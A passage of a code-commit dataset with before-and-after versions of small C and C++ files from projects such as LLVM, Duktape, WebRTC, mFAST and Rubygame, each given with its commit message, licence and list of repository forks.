pdb,techdragon/Postgres-XL,foyzur/gpdb,50wu/gpdb,zaksoup/gpdb,ashwinstar/gpdb,royc1/gpdb,royc1/gpdb,yuanzhao/gpdb,rvs/gpdb,xuegang/gpdb,jmcatamney/gpdb,randomtask1155/gpdb,oberstet/postgres-xl,yazun/postgres-xl,techdragon/Postgres-XL,techdragon/Postgres-XL,snaga/postgres-xl,tpostgres-projects/tPostgres,atris/gpdb,atris/gpdb,edespino/gpdb,ahachete/gpdb,arcivanov/postgres-xl,foyzur/gpdb,cjcjameson/gpdb,ahachete/gpdb,greenplum-db/gpdb,jmcatamney/gpdb,CraigHarris/gpdb,lintzc/gpdb,chrishajas/gpdb,xuegang/gpdb,ashwinstar/gpdb,kmjungersen/PostgresXL,lpetrov-pivotal/gpdb,50wu/gpdb,50wu/gpdb,cjcjameson/gpdb,pavanvd/postgres-xl,rvs/gpdb,tpostgres-projects/tPostgres,yuanzhao/gpdb,ovr/postgres-xl,tangp3/gpdb,rubikloud/gpdb,0x0FFF/gpdb,royc1/gpdb,lpetrov-pivotal/gpdb,CraigHarris/gpdb,zaksoup/gpdb,cjcjameson/gpdb,postmind-net/postgres-xl,Chibin/gpdb,xuegang/gpdb,zaksoup/gpdb,postmind-net/postgres-xl,edespino/gpdb,yazun/postgres-xl,snaga/postgres-xl,xinzweb/gpdb,janebeckman/gpdb,adam8157/gpdb,lintzc/gpdb,ashwinstar/gpdb,chrishajas/gpdb,royc1/gpdb,zeroae/postgres-xl,kaknikhil/gpdb,atris/gpdb,zaksoup/gpdb,lintzc/gpdb,lisakowen/gpdb,xinzweb/gpdb,CraigHarris/gpdb,arcivanov/postgres-xl,chrishajas/gpdb,rvs/gpdb,Postgres-XL/Postgres-XL,adam8157/gpdb,arcivanov/postgres-xl,randomtask1155/gpdb,ahachete/gpdb,50wu/gpdb,royc1/gpdb,lisakowen/gpdb,techdragon/Postgres-XL,foyzur/gpdb,kaknikhil/gpdb,cjcjameson/gpdb,0x0FFF/gpdb,lisakowen/gpdb,Chibin/gpdb,lpetrov-pivotal/gpdb,yazun/postgres-xl,Quikling/gpdb,jmcatamney/gpdb,ashwinstar/gpdb,zaksoup/gpdb,tangp3/gpdb,techdragon/Postgres-XL,adam8157/gpdb,janebeckman/gpdb,Quikling/gpdb,yuanzhao/gpdb,tangp3/gpdb,xuegang/gpdb,randomtask1155/gpdb,lisakowen/gpdb,pavanvd/postgres-xl,tpostgres-projects/tPostgres,greenplum-db/gpdb,ashwinstar/gpdb,jmcatamney/gpdb,edespino/gpdb,foyzur/gpdb,Chibin/gpdb,50wu/gpdb,CraigHarris/gpdb,Postgres-XL/Postgres-XL,janebeckman/gpdb,lpetrov-pivotal/gpdb,adam8157/gpdb,arcivanov/postgres-xl,ovr/postgres-xl,randomtask1155/gpdb,kaknikhil/gpdb,lintzc/gpdb,yuanzhao/gpdb,edespino/gpdb,arcivanov/postgres-xl,kaknikhil/gpdb,tpostgres-projects/tPostgres,xuegang/gpdb,adam8157/gpdb,atris/gpdb,postmind-net/postgres-xl,atris/gpdb,Postgres-XL/Postgres-XL,atris/gpdb,foyzur/gpdb,0x0FFF/gpdb,Chibin/gpdb,Postgres-XL/Postgres-XL,Quikling/gpdb,oberstet/postgres-xl,edespino/gpdb,oberstet/postgres-xl,ahachete/gpdb,rvs/gpdb,kaknikhil/gpdb,greenplum-db/gpdb,cjcjameson/gpdb,Quikling/gpdb,ahachete/gpdb,50wu/gpdb,Postgres-XL/Postgres-XL,yuanzhao/gpdb,lisakowen/gpdb,edespino/gpdb,lpetrov-pivotal/gpdb,cjcjameson/gpdb,xuegang/gpdb,yuanzhao/gpdb,Quikling/gpdb,0x0FFF/gpdb,rubikloud/gpdb,rvs/gpdb,kmjungersen/PostgresXL,ahachete/gpdb,kmjungersen/PostgresXL,pavanvd/postgres-xl,tangp3/gpdb,yuanzhao/gpdb,janebeckman/gpdb,adam8157/gpdb,jmcatamney/gpdb,edespino/gpdb,lintzc/gpdb
3973eb1a7833ac3e96ff7738ef72b6bd6ce42685
examples/debug-trans-socket/duk_trans_socket.h
examples/debug-trans-socket/duk_trans_socket.h
#if !defined(DUK_TRANS_SOCKET_H_INCLUDED) #define DUK_TRANS_SOCKET_H_INCLUDED #include "duktape.h" void duk_trans_socket_init(void); void duk_trans_socket_finish(void); void duk_trans_socket_waitconn(void); duk_size_t duk_trans_socket_read_cb(void *udata, char *buffer, duk_size_t length); duk_size_t duk_trans_socket_write_cb(void *udata, const char *buffer, duk_size_t length); duk_size_t duk_trans_socket_peek_cb(void *udata); void duk_trans_socket_read_flush_cb(void *udata); void duk_trans_socket_write_flush_cb(void *udata); #endif /* DUK_TRANS_SOCKET_H_INCLUDED */
#if !defined(DUK_TRANS_SOCKET_H_INCLUDED) #define DUK_TRANS_SOCKET_H_INCLUDED #include "duktape.h" #if defined(__cplusplus) extern "C" { #endif void duk_trans_socket_init(void); void duk_trans_socket_finish(void); void duk_trans_socket_waitconn(void); duk_size_t duk_trans_socket_read_cb(void *udata, char *buffer, duk_size_t length); duk_size_t duk_trans_socket_write_cb(void *udata, const char *buffer, duk_size_t length); duk_size_t duk_trans_socket_peek_cb(void *udata); void duk_trans_socket_read_flush_cb(void *udata); void duk_trans_socket_write_flush_cb(void *udata); #if defined(__cplusplus) } #endif /* end 'extern "C"' wrapper */ #endif /* DUK_TRANS_SOCKET_H_INCLUDED */
Enable C++ support for socket debug transport
Enable C++ support for socket debug transport
C
mit
svaarala/duktape,svaarala/duktape,svaarala/duktape,svaarala/duktape,svaarala/duktape,svaarala/duktape,svaarala/duktape,svaarala/duktape,svaarala/duktape
e42dbed53ae145bd1b9b88c1903f0360904fea4e
include/llvm/Intrinsics.h
include/llvm/Intrinsics.h
//===-- llvm/Instrinsics.h - LLVM Intrinsic Function Handling ---*- C++ -*-===// // // The LLVM Compiler Infrastructure // // This file was developed by the LLVM research group and is distributed under // the University of Illinois Open Source License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // // This file defines a set of enums which allow processing of intrinsic // functions. Values of these enum types are returned by // Function::getIntrinsicID. // //===----------------------------------------------------------------------===// #ifndef LLVM_INTRINSICS_H #define LLVM_INTRINSICS_H namespace llvm { /// Intrinsic Namespace - This namespace contains an enum with a value for /// every intrinsic/builtin function known by LLVM. These enum values are /// returned by Function::getIntrinsicID(). /// namespace Intrinsic { enum ID { not_intrinsic = 0, // Must be zero // Get the intrinsic enums generated from Intrinsics.td #define GET_INTRINSIC_ENUM_VALUES #include "llvm/Intrinsics.gen" #undef GET_INTRINSIC_ENUM_VALUES }; } // End Intrinsic namespace } // End llvm namespace #endif
//===-- llvm/Instrinsics.h - LLVM Intrinsic Function Handling ---*- C++ -*-===// // // The LLVM Compiler Infrastructure // // This file was developed by the LLVM research group and is distributed under // the University of Illinois Open Source License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // // This file defines a set of enums which allow processing of intrinsic // functions. Values of these enum types are returned by // Function::getIntrinsicID. // //===----------------------------------------------------------------------===// #ifndef LLVM_INTRINSICS_H #define LLVM_INTRINSICS_H namespace llvm { /// Intrinsic Namespace - This namespace contains an enum with a value for /// every intrinsic/builtin function known by LLVM. These enum values are /// returned by Function::getIntrinsicID(). /// namespace Intrinsic { enum ID { not_intrinsic = 0, // Must be zero // Get the intrinsic enums generated from Intrinsics.td #define GET_INTRINSIC_ENUM_VALUES #include "llvm/Intrinsics.gen" #undef GET_INTRINSIC_ENUM_VALUES , num_intrinsics }; /// Intrinsic::getName(ID) - Return the LLVM name for an intrinsic, such as /// "llvm.ppc.altivec.lvx". const char *getName(ID id); } // End Intrinsic namespace } // End llvm namespace #endif
Add a programatic interface to intrinsic names.
Add a programatic interface to intrinsic names. git-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@27107 91177308-0d34-0410-b5e6-96231b3b80d8
C
apache-2.0
llvm-mirror/llvm,GPUOpen-Drivers/llvm,apple/swift-llvm,GPUOpen-Drivers/llvm,llvm-mirror/llvm,GPUOpen-Drivers/llvm,apple/swift-llvm,chubbymaggie/asap,GPUOpen-Drivers/llvm,llvm-mirror/llvm,dslab-epfl/asap,dslab-epfl/asap,GPUOpen-Drivers/llvm,chubbymaggie/asap,dslab-epfl/asap,dslab-epfl/asap,dslab-epfl/asap,llvm-mirror/llvm,dslab-epfl/asap,llvm-mirror/llvm,apple/swift-llvm,apple/swift-llvm,llvm-mirror/llvm,GPUOpen-Drivers/llvm,apple/swift-llvm,dslab-epfl/asap,llvm-mirror/llvm,llvm-mirror/llvm,chubbymaggie/asap,chubbymaggie/asap,GPUOpen-Drivers/llvm,apple/swift-llvm,GPUOpen-Drivers/llvm,llvm-mirror/llvm,chubbymaggie/asap,apple/swift-llvm,apple/swift-llvm,chubbymaggie/asap
794450b5b7c744273aa1c8c6c920523a1f7b3801
src/mfast/json/json.h
src/mfast/json/json.h
#ifndef JSON_H_H4Q7QTC4 #define JSON_H_H4Q7QTC4 #include "mfast_json_export.h" #include "mfast.h" #include <iostream> namespace mfast { namespace json { MFAST_JSON_EXPORT bool encode(std::ostream& os, const ::mfast::aggregate_cref& msg, unsigned json_object_tag_mask=0); MFAST_JSON_EXPORT bool encode(std::istream& is, const ::mfast::sequence_mref& seq, unsigned json_object_tag_mask=0); MFAST_JSON_EXPORT bool decode(std::istream& is, const ::mfast::aggregate_mref& msg, unsigned json_object_tag_mask=0); MFAST_JSON_EXPORT bool decode(std::istream& is, const ::mfast::sequence_mref& seq, unsigned json_object_tag_mask=0); } // namespace json } // namespace mfast #endif /* end of include guard: JSON_H_H4Q7QTC4 */
#ifndef JSON_H_H4Q7QTC4 #define JSON_H_H4Q7QTC4 #include "mfast_json_export.h" #include "mfast.h" #include <iostream> namespace mfast { namespace json { MFAST_JSON_EXPORT bool encode(std::ostream& os, const ::mfast::aggregate_cref& msg, unsigned json_object_tag_mask=0); MFAST_JSON_EXPORT bool encode(std::istream& is, const ::mfast::sequence_cref& seq, unsigned json_object_tag_mask=0); MFAST_JSON_EXPORT bool decode(std::istream& is, const ::mfast::aggregate_mref& msg, unsigned json_object_tag_mask=0); MFAST_JSON_EXPORT bool decode(std::istream& is, const ::mfast::sequence_mref& seq, unsigned json_object_tag_mask=0); } // namespace json } // namespace mfast #endif /* end of include guard: JSON_H_H4Q7QTC4 */
Fix a JSON sequence encode bug
Fix a JSON sequence encode bug
C
bsd-3-clause
cuavas/mFAST,objectcomputing/mFAST,cuavas/mFAST,cuavas/mFAST,objectcomputing/mFAST
24652d16f84e4fd605aaffdd5112a606be6c8074
lib/Target/PowerPC/PPCMachineFunctionInfo.h
lib/Target/PowerPC/PPCMachineFunctionInfo.h
//===-- PPCMachineFunctionInfo.h - Private data used for PowerPC --*- C++ -*-=// // // The LLVM Compiler Infrastructure // // This file was developed by James M. Laskey and is distributed under // the University of Illinois Open Source License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // // This file declares the PowerPC specific subclass of MachineFunctionInfo. // //===----------------------------------------------------------------------===// #ifndef PPC_MACHINE_FUNCTION_INFO_H #define PPC_MACHINE_FUNCTION_INFO_H #include "llvm/CodeGen/MachineFunction.h" namespace llvm { /// PPCFunctionInfo - This class is derived from MachineFunction private /// PowerPC target-specific information for each MachineFunction. class PPCFunctionInfo : public MachineFunctionInfo { private: /// FramePointerSaveIndex - Frame index of where the old frame pointer is /// stored. Also used as an anchor for instructions that need to be altered /// when using frame pointers (dyna_add, dyna_sub.) int FramePointerSaveIndex; public: PPCFunctionInfo(MachineFunction& MF) : FramePointerSaveIndex(0) {} int getFramePointerSaveIndex() const { return FramePointerSaveIndex; } void setFramePointerSaveIndex(int Idx) { FramePointerSaveIndex = Idx; } }; } // end of namespace llvm #endif
//===-- PPCMachineFunctionInfo.h - Private data used for PowerPC --*- C++ -*-=// // // The LLVM Compiler Infrastructure // // This file was developed by James M. Laskey and is distributed under // the University of Illinois Open Source License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // // This file declares the PowerPC specific subclass of MachineFunctionInfo. // //===----------------------------------------------------------------------===// #ifndef PPC_MACHINE_FUNCTION_INFO_H #define PPC_MACHINE_FUNCTION_INFO_H #include "llvm/CodeGen/MachineFunction.h" namespace llvm { /// PPCFunctionInfo - This class is derived from MachineFunction private /// PowerPC target-specific information for each MachineFunction. class PPCFunctionInfo : public MachineFunctionInfo { private: /// FramePointerSaveIndex - Frame index of where the old frame pointer is /// stored. Also used as an anchor for instructions that need to be altered /// when using frame pointers (dyna_add, dyna_sub.) int FramePointerSaveIndex; public: PPCFunctionInfo(MachineFunction& MF) : FramePointerSaveIndex(0) {} int getFramePointerSaveIndex() const { return FramePointerSaveIndex; } void setFramePointerSaveIndex(int Idx) { FramePointerSaveIndex = Idx; } }; } // end of namespace llvm #endif
Add newline at end of file.
Add newline at end of file. git-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@31902 91177308-0d34-0410-b5e6-96231b3b80d8
C
apache-2.0
GPUOpen-Drivers/llvm,apple/swift-llvm,GPUOpen-Drivers/llvm,GPUOpen-Drivers/llvm,dslab-epfl/asap,apple/swift-llvm,llvm-mirror/llvm,dslab-epfl/asap,apple/swift-llvm,GPUOpen-Drivers/llvm,chubbymaggie/asap,llvm-mirror/llvm,apple/swift-llvm,llvm-mirror/llvm,llvm-mirror/llvm,apple/swift-llvm,dslab-epfl/asap,llvm-mirror/llvm,apple/swift-llvm,chubbymaggie/asap,apple/swift-llvm,dslab-epfl/asap,llvm-mirror/llvm,dslab-epfl/asap,chubbymaggie/asap,dslab-epfl/asap,llvm-mirror/llvm,chubbymaggie/asap,GPUOpen-Drivers/llvm,GPUOpen-Drivers/llvm,llvm-mirror/llvm,chubbymaggie/asap,llvm-mirror/llvm,GPUOpen-Drivers/llvm,dslab-epfl/asap,GPUOpen-Drivers/llvm,apple/swift-llvm,chubbymaggie/asap
207820e858122666cbaa69801532258e5bfa6bce
ext/rubygame/rubygame_shared.h
ext/rubygame/rubygame_shared.h
/* * Rubygame -- Ruby code and bindings to SDL to facilitate game creation * Copyright (C) 2004-2007 John Croisant * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * */ #ifndef _RUBYGAME_SHARED_H #define _RUBYGAME_SHARED_H #include <SDL.h> #include <ruby.h> #include <stdio.h> /* General */ extern VALUE mRubygame; extern VALUE eSDLError; extern VALUE cSurface; extern VALUE cRect; extern SDL_Rect *make_rect(int, int, int, int); extern Uint32 collapse_flags(VALUE); extern void Init_rubygame_shared(); #ifndef _MSC_VER extern static inline int max(int, int); extern static inline int min(int, int); #endif #endif
/* * Rubygame -- Ruby code and bindings to SDL to facilitate game creation * Copyright (C) 2004-2007 John Croisant * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * */ #ifndef _RUBYGAME_SHARED_H #define _RUBYGAME_SHARED_H #include <SDL.h> #include <ruby.h> #include <stdio.h> /* General */ extern VALUE mRubygame; extern VALUE eSDLError; extern VALUE cSurface; extern VALUE cRect; extern SDL_Rect *make_rect(int, int, int, int); extern Uint32 collapse_flags(VALUE); extern void Init_rubygame_shared(); #ifndef _MSC_VER extern inline int max(int, int); extern inline int min(int, int); #endif #endif
Fix type conflict with min/max in shared.
Fix type conflict with min/max in shared.
C
lgpl-2.1
singpolyma/rubygame,rubygame/rubygame,Dami-coding/rubygame,singpolyma/rubygame,firstval/rubygame
affce21f6503652363251b264dc23d66e0994926
common_audio/signal_processing/cross_correlation.c
common_audio/signal_processing/cross_correlation.c
/* * Copyright (c) 2012 The WebRTC project authors. All Rights Reserved. * * Use of this source code is governed by a BSD-style license * that can be found in the LICENSE file in the root of the source * tree. An additional intellectual property rights grant can be found * in the file PATENTS. All contributing project authors may * be found in the AUTHORS file in the root of the source tree. */ #include "webrtc/common_audio/signal_processing/include/signal_processing_library.h" /* C version of WebRtcSpl_CrossCorrelation() for generic platforms. */ void WebRtcSpl_CrossCorrelationC(int32_t* cross_correlation, const int16_t* seq1, const int16_t* seq2, int16_t dim_seq, int16_t dim_cross_correlation, int right_shifts, int step_seq2) { int i = 0, j = 0; for (i = 0; i < dim_cross_correlation; i++) { int32_t corr = 0; // Linux 64-bit performance is improved by the int16_t cast below. // Presumably this is some sort of compiler bug, as there's no obvious // reason why that should result in better code. for (j = 0; j < dim_seq; j++) corr += (seq1[j] * seq2[j]) >> (int16_t)right_shifts; seq2 += step_seq2; *cross_correlation++ = corr; } }
/* * Copyright (c) 2012 The WebRTC project authors. All Rights Reserved. * * Use of this source code is governed by a BSD-style license * that can be found in the LICENSE file in the root of the source * tree. An additional intellectual property rights grant can be found * in the file PATENTS. All contributing project authors may * be found in the AUTHORS file in the root of the source tree. */ #include "webrtc/common_audio/signal_processing/include/signal_processing_library.h" /* C version of WebRtcSpl_CrossCorrelation() for generic platforms. */ void WebRtcSpl_CrossCorrelationC(int32_t* cross_correlation, const int16_t* seq1, const int16_t* seq2, int16_t dim_seq, int16_t dim_cross_correlation, int right_shifts, int step_seq2) { int i = 0, j = 0; for (i = 0; i < dim_cross_correlation; i++) { int32_t corr = 0; for (j = 0; j < dim_seq; j++) corr += (seq1[j] * seq2[j]) >> right_shifts; seq2 += step_seq2; *cross_correlation++ = corr; } }
Remove a cast again, after it was shown to worsen Windows perf.
Remove a cast again, after it was shown to worsen Windows perf. This will hurt Linux x64 perf, but we think that's a compiler bug and we're willing to take the hit for the better clarity of the code sans cast as well as the better Windows perf. Hopefully eventually the compiler will improve. BUG=504813 TEST=none TBR=andrew Review URL: https://codereview.webrtc.org/1215053002 Cr-Original-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#9516} Cr-Mirrored-From: https://chromium.googlesource.com/external/webrtc Cr-Mirrored-Commit: 3c60d614636a858e18fda9e52045fd1192517b8d
C
bsd-3-clause
Alkalyne/webrtctrunk,Alkalyne/webrtctrunk,aleonliao/webrtc-trunk,Alkalyne/webrtctrunk,Alkalyne/webrtctrunk,jchavanton/webrtc,Alkalyne/webrtctrunk,sippet/webrtc,aleonliao/webrtc-trunk,Alkalyne/webrtctrunk,jchavanton/webrtc,jchavanton/webrtc,sippet/webrtc,jchavanton/webrtc,jchavanton/webrtc,aleonliao/webrtc-trunk,sippet/webrtc,aleonliao/webrtc-trunk,aleonliao/webrtc-trunk,Alkalyne/webrtctrunk,Alkalyne/webrtctrunk,aleonliao/webrtc-trunk,sippet/webrtc,jchavanton/webrtc,sippet/webrtc,jchavanton/webrtc,sippet/webrtc
4cdfad72c529d88b152318b8b713db521fe9e366
serializer.h
serializer.h
#ifndef SERIALIZER_H #define SERIALIZER_H #include <vector> #include <cstdint> #include <string> #include <algorithm> class Serializer { public: /** \brief Serialization of standard integer values */ void serialize( std::uint32_t value ) { serializeInteger( value ); } /** \brief Serialization of long values */ void serialize( std::uint64_t value ) { serializeInteger( value ); } /** \brief Serialization of string */ void serialize( const std::string& value ) { serializeInteger( value.size() ); std::copy( value.begin(), value.end(), std::back_inserter(m_container) ); } /** \brief Serialization of vector */ template< typename T > void serialize( const std::vector< T >& value ) { serialize( value.size() ); for( const auto& element: value ) serialize( element ); } /** \brief Streaming operator */ template< typename T > inline Serializer& operator<<( const T& value ) { serialize( value ); return *this; } /** \brief Get the underlying buffer */ inline const std::vector< char > getData() const { return m_container; } private: template< typename T > inline void serializeInteger( T value ) { do { char byte = value & 0x7F; value >>= 7; if ( value ) byte |= 0x80; putByte( byte ); } while( value ); } inline void putByte( char ch ) { m_container.push_back( ch ); } std::vector< char > m_container; }; #endif
Add helper class for serializing the data
Add helper class for serializing the data
C
bsd-3-clause
cinode/cpptestapp,cinode/cpptestapp
17aaf98c7a1db77947e28da9c407a094c2fcd64f
src/kernel.c
src/kernel.c
#include <rose/interrupts.h> #include <rose/screen.h> #include <rose/serial.h> #include <rose/memory.h> extern void protected_mode_start(void); extern char end[]; void kmain(void) { interrupts_disable(); screen_clear(); memory_init_gdt(); interrupts_init(); protected_mode_start(); serial_init(); memory_init_paging(0, end); /* XXX turn on interrupts? */ screen_write_string_at("Hello from rOSe (in protected mode!)", 0, 0); }
#include <rose/console.h> #include <rose/interrupts.h> #include <rose/screen.h> #include <rose/serial.h> #include <rose/memory.h> extern void protected_mode_start(void); extern char end[]; void kmain(void) { interrupts_disable(); screen_clear(); memory_init_gdt(); interrupts_init(); protected_mode_start(); serial_init(); memory_init_paging(0, end); /* XXX turn on interrupts? */ console_write_string("Hello from rOSe (in protected mode!)\n"); }
Write hello message to console
Write hello message to console
C
mit
hoelzro/rose-kernel,hoelzro/rose-kernel
6c4710ca4fa04771c6d5d9422781430fc8f0ede6
str/lstrip.c
str/lstrip.c
/* str/lstrip.c - Strip whitespace from the left of a string * Copyright (C) 2001 Bruce Guenter <[email protected]> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include <ctype.h> #include "str.h" void str_lstrip(str* s) { unsigned off; for (off = 0; off < s->len && isspace(s->s[off]); ++off) ; if (off) { memcpy(s->s, s->s+off, s->len-off+1); s->len -= off; } }
/* str/lstrip.c - Strip whitespace from the left of a string * Copyright (C) 2001 Bruce Guenter <[email protected]> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include <ctype.h> #include <string.h> #include "str.h" void str_lstrip(str* s) { unsigned off; for (off = 0; off < s->len && isspace(s->s[off]); ++off) ; if (off) { memmove(s->s, s->s+off, s->len-off+1); s->len -= off; } }
Use memmove instead of memcpy due to the fact that the strings will be overlapping.
Use memmove instead of memcpy due to the fact that the strings will be overlapping.
C
lgpl-2.1
bruceg/bglibs,bruceg/bglibs,bruceg/bglibs,bruceg/bglibs,bruceg/bglibs,bruceg/bglibs
b5cb1f3cbf4cf94304c931419bd707ca6e60edcf
Wikipedia/Code/WMFProxyServer.h
Wikipedia/Code/WMFProxyServer.h
#import <Foundation/Foundation.h> @interface WMFProxyServer : NSObject @property (nonatomic, readonly, getter=isRunning) BOOL running; - (void)start; + (WMFProxyServer *)sharedProxyServer; - (NSString *)localFilePathForRelativeFilePath:(NSString *)relativeFilePath; //path for writing files to the file proxy's server - (NSURL *)proxyURLForRelativeFilePath:(NSString *)relativeFilePath fragment:(NSString *)fragment; //returns the proxy url for a given relative path - (NSURL *)proxyURLForWikipediaAPIHost:(NSString *)host; - (NSString *)stringByReplacingImageURLsWithProxyURLsInHTMLString:(NSString *)HTMLString withBaseURL:(NSURL *)baseURL targetImageWidth:(NSUInteger)targetImageWidth; //replaces image URLs in an HTML string with URLs that will be routed through this proxy - (void)setResponseData:(NSData *)data withContentType:(NSString *)contentType forPath:(NSString *)path; @end
#import <Foundation/Foundation.h> @interface WMFProxyServer : NSObject @property (nonatomic, readonly, getter=isRunning) BOOL running; - (void)start; + (WMFProxyServer *)sharedProxyServer; - (NSString *)localFilePathForRelativeFilePath:(NSString *)relativeFilePath; //path for writing files to the file proxy's server - (NSURL *)proxyURLForRelativeFilePath:(NSString *)relativeFilePath fragment:(NSString *)fragment; //returns the proxy url for a given relative path // Details: https://github.com/wikimedia/wikipedia-ios/pull/1334/commits/f2b2228e2c0fd852479464ec84e38183d1cf2922 - (NSURL *)proxyURLForWikipediaAPIHost:(NSString *)host; - (NSString *)stringByReplacingImageURLsWithProxyURLsInHTMLString:(NSString *)HTMLString withBaseURL:(NSURL *)baseURL targetImageWidth:(NSUInteger)targetImageWidth; //replaces image URLs in an HTML string with URLs that will be routed through this proxy - (void)setResponseData:(NSData *)data withContentType:(NSString *)contentType forPath:(NSString *)path; @end
Add link to comment for api proxy method.
Add link to comment for api proxy method.
C
mit
montehurd/apps-ios-wikipedia,julienbodet/wikipedia-ios,wikimedia/apps-ios-wikipedia,josve05a/wikipedia-ios,julienbodet/wikipedia-ios,montehurd/apps-ios-wikipedia,julienbodet/wikipedia-ios,montehurd/apps-ios-wikipedia,julienbodet/wikipedia-ios,wikimedia/apps-ios-wikipedia,julienbodet/wikipedia-ios,wikimedia/apps-ios-wikipedia,montehurd/apps-ios-wikipedia,wikimedia/wikipedia-ios,julienbodet/wikipedia-ios,wikimedia/wikipedia-ios,wikimedia/wikipedia-ios,wikimedia/wikipedia-ios,wikimedia/apps-ios-wikipedia,montehurd/apps-ios-wikipedia,wikimedia/wikipedia-ios,josve05a/wikipedia-ios,montehurd/apps-ios-wikipedia,josve05a/wikipedia-ios,montehurd/apps-ios-wikipedia,josve05a/wikipedia-ios,wikimedia/apps-ios-wikipedia,wikimedia/apps-ios-wikipedia,wikimedia/apps-ios-wikipedia,josve05a/wikipedia-ios,wikimedia/wikipedia-ios,josve05a/wikipedia-ios,josve05a/wikipedia-ios,montehurd/apps-ios-wikipedia,wikimedia/wikipedia-ios,julienbodet/wikipedia-ios,josve05a/wikipedia-ios,julienbodet/wikipedia-ios,wikimedia/apps-ios-wikipedia
3f6c9bff6c30791a0c7188733658aaf879ab86a1
tests/full_semantic_errors.c
tests/full_semantic_errors.c
int global_a; struct foo { // redefinition in struct declaration int a; int a; float b; }; // redefinition of foo struct foo { float a; int b; }; // redefinition in function arguments int a_func(int a, int a) { return 1; } int func(int c, int d, float f) { int b = 1; float test_array[10]; b = c; b = c * d + 6 * 7.0; // undefined variable 'h' h = !f; // '[]' used on non-array variable b[1] = 2; // undefine variable 'nono' nono[0] = 3; return c * d; } // redefinition of func int func() { return 1; } void main() { int aaa[10]; // redefinition of 'duplicate' int duplicate[1]; int duplicate; struct foo bar; // incomplete type struct b incomplete_type; bar.a = 1; // '.' used on non-struct variables aaa.abc = 2; // undefined variable 'a' func(2.5, a, aaa[0]); return; }
int global_a; struct foo { // redefinition in struct declaration int a; int a; float b; }; // redefinition of foo struct foo { float a; int b; }; // redefinition in function arguments int a_func(int a, int a) { return 1; } int func(int c, int d, float f) { int b = 1; float test_array[10]; b = c; b = c * d + 6 * 7.0; // undefined variable 'h' h = !f; // '[]' used on non-array variable b[1] = 2; // undefine variable 'nono' nono[0] = 3; return c * d; } // redefinition of func int func() { return 1; } void main() { int aaa[10]; // redefinition of 'duplicate' int duplicate[1]; int duplicate; struct foo bar; // incomplete type struct b incomplete_type; bar.a = 1; // illegal member access bar.abc = 2; // '.' used on non-struct variables aaa.abc = 2; // undefined variable 'a' func(2.5, a, aaa[0]); // undefined function name b_func(1); // '()' used on non-function aaa(2); return; }
Add illegal member access and undefined function name error.
Add illegal member access and undefined function name error.
C
mit
RyanWangGit/scc
42f0093f5f5ed7d30b77b927966cb64025889811
config.h
config.h
#ifndef CONFIG #define CONFIG #define VERSION 179 //try to keep this in sync. //SavvyCAN will complain if you connect a GVRET board with a revision //less than this number. #define CURRENT_GVRET_VER 334 #endif // CONFIG
#ifndef CONFIG #define CONFIG #define VERSION 180 //try to keep this in sync. //SavvyCAN will complain if you connect a GVRET board with a revision //less than this number. #define CURRENT_GVRET_VER 343 #endif // CONFIG
Update requested GVRET version to 343 which is where stable support for M2 and CANDue2.2 are found.
Update requested GVRET version to 343 which is where stable support for M2 and CANDue2.2 are found.
C
mit
collin80/SavvyCAN,collin80/SavvyCAN,collin80/SavvyCAN,collin80/SavvyCAN,collin80/SavvyCAN
400b6fb7262eacbafb8ad6878af9a2e9839d0889
test/get-compositor.c
test/get-compositor.c
#include <X11/X.h> #include <X11/Xatom.h> #include <X11/Xlib.h> #include <stdio.h> int main() { Display *display = XOpenDisplay(NULL); if (display == NULL) { fprintf(stderr, "Could not connect to $DISPLAY.\n"); return 1; } char buf[32]; snprintf(buf, sizeof(buf), "_NET_WM_CM_S%d", (int)DefaultScreen(display)); Atom atom = XInternAtom(display, buf, False); Window w = XGetSelectionOwner(display, atom); if (w == None) { fprintf(stderr, "No compositor detected.\n"); return 1; } printf("%#llx\n", (unsigned long long)w); return 0; }
Add a simple tool to print the window ID of a currently running compositor.
Add a simple tool to print the window ID of a currently running compositor. Possibly interesting use: xprop -id `./get-compositor`.
C
apache-2.0
google/xsecurelock,google/xsecurelock
7711fe4d9cfcb73bc5b4b58ec2120f1863400f6b
test2/casts/rm_qual.c
test2/casts/rm_qual.c
